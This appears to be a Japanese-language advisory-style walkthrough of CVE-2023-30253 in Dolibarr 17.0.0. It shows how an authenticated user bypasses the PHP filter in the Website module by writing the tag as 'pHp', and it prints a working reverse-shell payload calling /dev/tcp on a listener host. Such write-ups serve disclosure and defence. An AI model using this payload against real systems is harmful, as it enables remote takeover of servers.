
Dolibarr 17.0.0 で CMS Website プラグイン(コア)が有効になっている場合、認証済みの攻撃者は、アプリケーションの制限をバイパスする PHP コードインジェクションを介してリモートコマンド実行を行うことができます。
CVE-2023-30253 は、Dolibarr ソフトウェアにおけるセキュリティ上の欠陥であり、認証されたユーザーが注入データ内で大文字操作テクニックを利用してリモートコード実行を可能にするものです。
この脆弱性は、悪意のある行為者による不正なリモートコード実行につながる可能性があり、影響を受けるシステムのセキュリティと整合性に深刻な脅威をもたらします。 この脆弱性は Dolibarr 17.0.1 で修正されました。
https://www.swascan.com/security-advisory-dolibarr-17-0-0/
https://github.com/Dolibarr/dolibarr
以下の PoC は、手動でリバースシェルを取得する方法を示しています。

テストユーザーとしてログインした後、Web サイトを作成/変更できます。
.png)
まず Web サイトを作成し、次にページを作成します。
.png)

Web サイトとページを作成したら、双眼鏡アイコンをクリックします。これにより、作成したページが新しいタブで開きます。
次に、[HTML ソースの編集] をクリックします。
.png)
ここでは php コードの追加を試みることができますが、php コードの記述を防ぐ何らかのフィルターがあります。 これは、php という単語の形式を変更することで簡単に回避できます。
.png)
php という単語の形式を pHp に変更すると、正常に保存されたことが確認できます。
.png)
ページに移動すると、挿入した php コードが動作していることが確認できます。
次に、リバースシェルを取得するために、netcat リスナーをセットアップしましょう。
.png)
.png)
次に、リバースシェルコードを追加します <?pHp exec("/bin/bash -c 'bash -i > /dev/tcp/10.10.14.101/1010 0>&1'"); ?>
Web サイトを開くと、リバースシェルが取得できます。
.png)
python コードを使用すると、これをより簡単にできます。

netcat リスナーをセットアップします。

スクリプトを実行すると、リバースシェルが取得できるはずです。